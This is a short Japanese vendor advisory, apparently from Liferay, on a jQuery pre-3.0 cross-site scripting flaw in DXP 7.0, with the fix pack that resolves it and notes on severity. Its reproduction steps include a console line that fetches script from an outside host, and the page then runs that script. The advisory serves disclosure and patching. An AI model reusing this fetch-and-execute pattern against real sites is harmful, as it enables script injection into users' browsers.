この記事は、 jQuery バージョン 3.0 より前のセキュリティ問題を文書化したもので、 Githubにも記述されています。
この問題は、以下の手順で再現することができます。
- 3.0より前のjQueryを使用したテーマをインストールする。
- そのテーマを持つ任意のページに向かいます。
- デベロッパーコンソールを開く。
-
jQuery.get('https://sakurity.com/jqueryxss').then(console.log.bind(console));
を入力する。
結果: jQueryでテキストを取得したいだけなのに、ページがJavascriptを実行する。 localhost をコンテンツとするポップアップが表示されます。
対象製品
Liferay DXP 7.0 (DE 7.0)
解像度
DXP 7.0 Fix Pack 28で修正されました。 (lpe-16368)
Liferayのセキュリティ脆弱性情報
この問題は、DXP 7.0のアウトオブボックスコンポーネントが信頼できないサードパーティサイトへのAJAXコールを行わないため、Liferayのセキュリティポリシー の要件を満たさず、Liferay製品の脆弱性とみなされないため、Liferay Security Vulnerability (LSV) の深刻度は付されていません。 したがって、これを利用するには、開発者チームの領域であるカスタムコードを配置する必要があります。
追加情報
Liferayプラットフォームでは、DXP 7.0でjQuery 2.1.4を使用しており、Liferay製品の将来のバージョンでjQueryバージョン3.2.1以上へのアップグレードが予定されています。